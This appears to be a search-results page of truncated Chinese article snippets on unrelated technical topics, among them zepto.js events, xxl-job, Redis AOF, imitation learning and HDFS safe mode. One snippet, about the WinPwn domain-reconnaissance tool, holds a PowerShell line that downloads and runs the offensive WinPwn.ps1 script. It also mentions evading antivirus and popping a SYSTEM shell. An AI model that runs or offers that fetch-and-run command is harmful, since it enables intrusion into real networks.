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向zepto.js学习如何手动(trigger)触发DOM事件

其中event.js事件处理模块的核心完成了zepto中事件绑定on,移除off还有手动触发trigger等功能。我们简单回顾下如何使用zepto的这三大功能。...好啦我们已经解决了$,$.fn是啥的疑问了,现在回去开始一步步解读如何实现手动触发事件。...我们主要看看$.Event,这里面几乎含有如何手动触发一个dom事件的大部分步骤和内容。 我们主要看看$.Event,这里面几乎含有如何手动触发一个dom事件的大部分步骤和内容。...我们主要看看$.Event,这里面几乎含有如何手动触发一个dom事件的大部分步骤和内容。...zepto事件模块中如何管理元素与事件队列的映射关系,篇幅会比较长,会在接下来的文章中说,这里不展开说明) 手动diy一个 根据上面的描述,手动触发DOM事件,原来并没有那么神奇,完成三步,即可达到目标

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向zepto.js学习如何手动(trigger)触发DOM事件

其中event.js事件处理模块的核心完成了zepto中事件绑定on,移除off还有手动触发trigger等功能。我们简单回顾下如何使用zepto的这三大功能。...好啦我们已经解决了$,$.fn是啥的疑问了,现在回去开始一步步解读如何实现手动触发事件。...我们主要看看$.Event,这里面几乎含有如何手动触发一个dom事件的大部分步骤和内容。 我们主要看看$.Event,这里面几乎含有如何手动触发一个dom事件的大部分步骤和内容。...我们主要看看$.Event,这里面几乎含有如何手动触发一个dom事件的大部分步骤和内容。...zepto事件模块中如何管理元素与事件队列的映射关系,篇幅会比较长,会在接下来的文章中说,这里不展开说明) 手动diy一个 根据上面的描述,手动触发DOM事件,原来并没有那么神奇,完成三步,即可达到目标

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如何通过编码的方式手动触发xxl-job执行器

今天的素材来源于某天产品经理想在定时同步报表数据的基础上,再增加一个手动触发报表数据同步的功能。...即在报表页面上新增一个手动同步的按钮,触发该按钮就可以执行报表数据同步 02需求分析 1保留定时同步功能,同时新增手动同步 2手动同步的数据产生的效果要和定时数据同步的产生效果一样 03解决思路 1方案一...即定时器执行的时候,手动刚好触发执行,或者反过来,手动触发的时候,定时器也执行了。这样就会导致数据同步执行多次,导致数据不准确。...后面我们调研了xxl-job,看到了xxl-job有提供restful风格触发执行器的功能,这个功能简直就是为我们量身定做,当手动调用的时候,触发执行器,因为执行的是执行器里面的调用逻辑,因此就会触发我们为避免数据同步不准确所采取的手段...05 如何通过restful风格手动触发xxl-job执行器执行 具体介绍可以查看官网,其链接如下 https://www.xuxueli.com/xxl-job/#6.2 执行器 RESTful API

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如何通过编码的方式手动触发xxl-job执行器

今天的素材来源于某天产品经理想在定时同步报表数据的基础上,再增加一个手动触发报表数据同步的功能。...即在报表页面上新增一个手动同步的按钮,触发该按钮就可以执行报表数据同步 需求分析 1、保留定时同步功能,同时新增手动同步 2、手动同步的数据产生的效果要和定时数据同步的产生效果一样 解决思路 1、方案一...即定时器执行的时候,手动刚好触发执行,或者反过来,手动触发的时候,定时器也执行了。这样就会导致数据同步执行多次,导致数据不准确。...后面我们调研了xxl-job,看到了xxl-job有提供restful风格触发执行器的功能,这个功能简直就是为我们量身定做,当手动调用的时候,触发执行器,因为执行的是执行器里面的调用逻辑,因此就会触发我们为避免数据同步不准确所采取的手段...如何通过restful风格手动触发xxl-job执行器执行 其具体介绍可以查看官网,其链接如下 https://www.xuxueli.com/xxl-job/#6.2 执行器 RESTful API

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终极RPA术语表:机器人流程自动化的基础概念

有人值守机器人 【Attended RPA】 有人值守RPA包括需要用户输入决策的场景,例如桌面自动化。这些软件机器人在员工的工作站上工作,并由两种情况触发:由用户启动和需要用户输入以继续执行任务。...访问通常仅限于特定部门工作站内的员工。 自动化设计 【Automation Design】 RPA如何在组织中推出的计划。作为该计划的一部分,公司确定了一系列最适合自动化的流程。...深度学习允许自动化机器人模仿人工任务,例如识别屏幕上的图像,识别语言预测结果。...无人值守机器人 【Unattended RPA】 需要很少无人为干预的软件机器人,在触发时需要24/7/365执行操作。这些机器人以批处理模式连续完成工作,可实现全天候自动化。...工作流程自动化 【Workflow Automation】 使用RPA技术自动执行手动日常业务任务中的步骤,以改善日常实践,提高员工效率,并允许人们专注于更高的回报工作。

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Redis的AOF持久化机制

2、AOF持久化流程 2、AOF配置文件的说明 2.1 AOF默认是不开启的 2.2 AOF启动/修复/恢复 2.3 AOF同步频率设置 2.4 Rewrite压缩 2.4.1 重写原理,如何实现重写...2.4.2 重写流程 3、AOF持久化实战 3.1 启动redis服务并用客户端连接 3.2 设置几个键值对 3.3 模仿断电,我们直接shutdown关闭redis服务器 3.4 再次打开redis...客户端的请求写命令会被append追加到AOF缓冲区内; (2)AOF缓冲区根据AOF持久化策略[always,everysec,no]将操作sync同步到磁盘的AOF文件中; (3)AOF文件大小超过重写策略手动重写时...2.4.2 重写流程 (1)bgrewriteaof触发重写,判断是否当前有bgsavebgrewriteaof在运行,如果有,则等待该命令结束后再继续执行。...持久化实战 3.1 启动redis服务并用客户端连接 redis-server redis.conf redis-cli 3.2 设置几个键值对 查看appendonly.aof 3.3 模仿断电

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质量>数量!数据对大型语言模型(LLM)整个生命周期的影响!

值得注意的是,Zhou等人甚至在对齐数据中包含了一些恶意提示,以演示如何避免潜在有害的命令。 可实现自动化吗?  在最近使用开源LLMs进行模仿学习的研究中,我们通常会看到用于微调的数据是自动管理的。...例如,SFT 的数据可以从在线资源(例如 ShareGPT)下载,也可以直接从 ChatGPT GPT-4 的 LLM API 获取。...可以发现,LIMA 的性能始终优于 Alpaca,甚至在相当多的情况下匹配超过了Claude和GPT-4的质量。...也就是说,作者使用模仿方法训练模型,但使用模型中有关如何解决每个问题的详细信息来扩充用于 SFT 的数据(即与其他LLMs的对话示例)。...研究发现,在对齐数据集中包含这些额外的细节可以产生比Alpaca Vicuna等模型更加稳健的模仿模型。 「上下文学习」。除了训练和微调LLMs之外,用于上下文/少量学习的数据也会极大地影响性能。

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腾讯云 AI 代码助手最佳实践 - VSCode 版

安装步骤初次使用,需要使用上面的链接下载对应的插件包,然后手动安装离线插件包,如下图所示:图片从你本地文件系统选择前面下载好的离线插件包即可。...三、插件如何登录 1....代码补全触发时机我们一直在优化代码补全的触发时机,直觉上可能会认为插件在每次输入的时候自动触发补全。...2.1 行尾右小括号前面位置触发补全:图片2.2 行尾右大括号前面位置触发补全:图片2.3 代码行尾位置触发补全:图片2.4 代码换行位置触发补全:图片 3....通过已有平级同类型代码,引导出可能的补全内容,比如用户模块的 CRUD 功能实现,通过实现 CRU,引导他模仿 CRU 的实现方式,实现 D 功能; 3.

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学界 | DeepMind论文三连发:如何在仿真环境中生成灵活行为

论文一:富环境中移动行为的出现 对于一些人工智能问题,比如玩 Atari 下围棋,其目标易于定义,即获胜。但是你如何描述定义一个后空翻动作,或者跳跃。...在第二篇论文中,我们展示了如何训练一个策略网络(policy network),它可以模仿人类行为的动态捕捉数据,以对行走、起立、跑步、转弯等特定动作进行预学习。...我们的工作旨在开发一种灵活的系统,可以对相关技能进行学习和自适应,以解决运动控制问题,在减少所需的手动工程量的同时完成目标。...然而实际上,小心地手动设计奖励函数以鼓励一个特定方案,或者从演示数据中获取是惯常情况。这篇论文探索了富环境如何帮助提升复杂行为的学习。...与纯监督方法相比较,生成对抗模仿学习(GAIL)可以从更少的示例中进行更鲁棒的控制学习,但是从根本上来讲它需要进行模式搜索,并且难以训练。在本论文中,我们展示了如何将这两种方法的有利方面进行结合。

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只需1次演示,1小时在线训练,机器人真就做到看一遍就会了

与先前的策略正则化方案相比,soft Q-filtering 不需要手动指定衰减时间表。...方法概览 模仿学习面临的一个挑战是:平衡模仿演示行为的能力,以及演示状态分布之外的状态恢复能力。BC 通过监督学习来模仿演示的动作,而 IRL 专门研究如何从任意状态中恢复策略。...虽然之前的工作使用经过手动调优的 λ(π) 时间表,但研究者提出了一种新的、无需调优的自适应方案。...实验结果 ROT 对于模仿学习的效率如何?ROT 在基于图像的模仿中的表现如下图 3 所示。在除一项任务之外的所有任务中,ROT 的训练速度明显快于之前的工作。...© THE END  转载请联系本公众号获得授权 投稿寻求报道:content@jiqizhixin.com

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机器学习的网络罪犯

而最近的调查结果显示了网络犯罪分子如何利用机器学习来使攻击变得更好、更快。 本文的目的是对恶意网络空间中机器学习部署现实方法的信息进行系统化。它的目的是帮助信息安全团队成员为即将发生的威胁做准备。...在探测阶段,攻击者会试图触发特定交换机上流量规则的安装。探测流量的具体特征取决于黑客感兴趣的信息。 在下一个阶段,攻击者分析探测阶段产生的探测流量与安装的相应流量规则之间的相关性。...在人工智能的新时代,企业不仅创造了虚假的文字,还创造了虚假的声音视频。Lyrebird是一家专门从事媒体和视频的初创公司,它可以模仿声音,可以制造出一个和你一模一样的机器人。...大部分都是通过恶意软件、间谍软件、ransomware任何其他类型的恶意程序来执行的,用户通过网络钓鱼攻击者将这些程序上传到受害者身上。无论如何,攻击者需要将恶意软件上传到受害者的机器上。...网络罪犯如何利用机器学习来制造恶意软件?

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学界 | 机器人走路未必笨拙,DeepMind新方法训练的人工智能就走得很飘逸

智能电机的另一种发展趋势是,使用手工制作的目标运动捕捉的数据来产生特定的行为。 然而,这可能需要相当多技术工作的努力,也可能会导致智能电机面对新任务时,难以重新调整行为。...一、丰富的环境中表现的运动行为 如果玩 Atari Go 时,目标很容易描述,就是赢。但是你如何描述一个后空翻表演的过程?或者仅仅只是单纯描述一下“跳”这个动作?...模拟的“平面”步行者反复尝试访问外国网站 模拟的“蚂蚁”步行者在学习如何在木板之间精确地跳跃 二、通过对抗模仿学习人体行为 上述的模拟人解决突发行为的能力非常强大,但是由于这些动作必须从头开始...在 DeepMind 的第 2 篇论文中,阐述了如何通过运动捕捉数据来构建一个模仿人类行为的政策网络,需要预先学习一些技能,例如步行、起步、跑步和转弯等等。...DeepMind 的工作旨在开发一套系统,能够通过学习和调整技能来解决电机控制任务,同时减少手动工程。 DeepMind 未来的研究工作主要是扩展这些方法,以便在更复杂的情况下完成更多的任务。

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域信息收集自动脚本​WinPwn

downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1') 绕杀软需要自己混淆或者手动触发器字符串进行编码...domainreconmodules -> 收集各种域信息以进行手动检查 在说明字段中找到广告密码 搜索潜在的敏感域共享文件 枚举不受约束的委派系统/用户 生成猎犬报告 用于域系统的MS17-10扫描仪...适用于域系统的Bluekeep扫描仪 SQL Server发现和审核功能-PowerUpSQL MS-RPRN检查域控制器所有系统 Grouper2的组策略审核 使用ADRecon在CSV文件(如果已安装...SYSTEMShell -> 使用CreateProcess弹出系统shell 使用NamedPipe模拟模仿Pop System Shell 使用令牌操作的Pop System Shell 使用UsoClient...DLL加载CreateProcess绑定系统shell ?

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excel的模仿能力--快速整理数据的一个小技能

版本、安装、运行,这一类的问题不应该占用学习的时间,因为这一类问题都可以通过自己思考、摸索网络搜索来解决。...如果这类简单的问题都要学习记忆的话,那学习花费的时间就太多了,记忆量也太多了,远不如把学习跟记忆放在别的重要的地方。简单来说:要抓重点,不要浪费精力在不重要的事情上。...有,不单只提取数据,excel还可以自动合并数据、修饰数据、运算数据等,因为excel有一个重要的能力,就是模仿,通过模仿来完成上述的功能。...因为excel是模仿,所以你先要打个样,先要输入一行(两行,模仿得更准),然后使用“快速填充”来启用excel的模仿能力,就可以做到自动提取数据等事情。...注意,快速填充的列,跟模仿的列之间,不能有完全空白的列,不然这个模仿秀就会失败。 快速填充的快捷键是ctrl+E,双击往下拖拽单元格的右下角也可以触发

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业界 | 让机器人学会理解语义概念:谷歌提出深度视觉新技术

但是,学习这些技能需手动编程机器人试图优化的奖励函数。与之相反,人类可以通过观察别人理解任务目标,或者被简单地告知目标是什么。...我们将会描述机器人如何在人类提供的演示中通过其数据理解显性事件,模仿人类的行动,理解语义概念比如「玩具」和「钢笔」以根据用户指令捡起物体。...以姿态模仿任务为例,表征的不同维度也许编码一个人类机器人身体的不同关节。我们没有手动定义人与机器人关节之间的映射(由于生理差异这首先是含糊不清的),而是让机器人以端到端的形式学习模仿。...,如「橡皮」「玩具」。...自然语言理解、机器感知、抓取、模仿学习领域的大量研究已经考虑如何在机器人系统中结合语义和机器人行为。

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谷歌云重大更新:Text-to-Speech现已支持26种WaveNet语音

如果你是谷歌云客户,并且正在使用该公司的AI套件来进行文字转语音语音转文本服务,这有个好消息:谷歌今天宣布了这些方面的重大更新,包括云文本到语音的普遍可用性,优化声音以便在不同设备上播放的新音频配置文件...它会通过识别音调模式模仿语音中的重音和语调(语言学中称为韵律)。...云文本到语音的音频配置文件在实践中是如何工作的 Google Cloud团队表示,“每个设备的物理特性以及它们所处的环境都会影响它们产生的频率范围和细节水平(例如,低音,高音和音量),音频样本(由音频配置文件产生...该API将自动决定使用哪种语言,并返回一份文字记录,就像谷歌助手如何检测语言并以某种方式做出回应一样(用户还可以选择手动选择语言)。...如果你这样选择,你可以将置信度分数与应用程序中的触发器相关联,例如,用户说话含糊过于轻柔时,鼓励用户进行重复。 多通道识别、语言自动检测和词级置信度现在是可以使用的。

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谷歌教机器人理解语义,像人一样学习复杂技能 | 附3篇论文

我们将描述机器人如何用它们的经验来理解人类演示中的突出事件,模仿人类动作,理解玩具、笔等语义类别,来根据用户指令拾取物体。...例如在姿势模仿任务中,不同维度的表示可以编码人机器人身体的不同关节。...人与机器人的身体结构有差异,人与机器人关节之间的映射是模糊的,因此,我们不是手动定义这种映射,而是让机器人以端到端的方式学习模仿。...在论文“End-to-End Learning of Semantic Grasping”中(量子位此前介绍过这篇论文的详细内容),我们研究了如何利用手动标记和自动收集的数据,来执行语义抓取任务,在任务中...自然语言理解、机器人感知、抓取和模仿学习领域,都对如何在机器人系统中结合语义和行为做了广泛的研究。 然而,我们上面讨论的这些实验,可能为未来自动机器人系统中自监督和人类标注数据的结合指出了一条路。

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HDFS集群安全模式

HDFS集群可以自动手动触发进入安全模式。自动触发安全模式的情况包括:当HDFS集群启动时,如果NameNode节点发现元数据损坏或者数据块的副本数低于最小值,则会自动进入安全模式。...手动触发安全模式的情况包括:当HDFS集群需要进行数据完整性检查和修复时,管理员可以手动触发安全模式,以防止数据丢失损坏。...当HDFS集群中的数据块损坏或者丢失时,管理员可以手动触发安全模式,以防止数据块的副本数继续下降,导致数据丢失损坏。如何手动触发HDFS集群安全模式?...如何离开HDFS集群安全模式?当HDFS集群进入安全模式后,管理员需要进行相应的操作,以解决数据块副本数低于最小值元数据损坏等问题。...-safemode get执行以上示例演示了如何手动触发HDFS集群的安全模式,并使用hdfs dfsadmin命令查看HDFS集群的安全模式状态。

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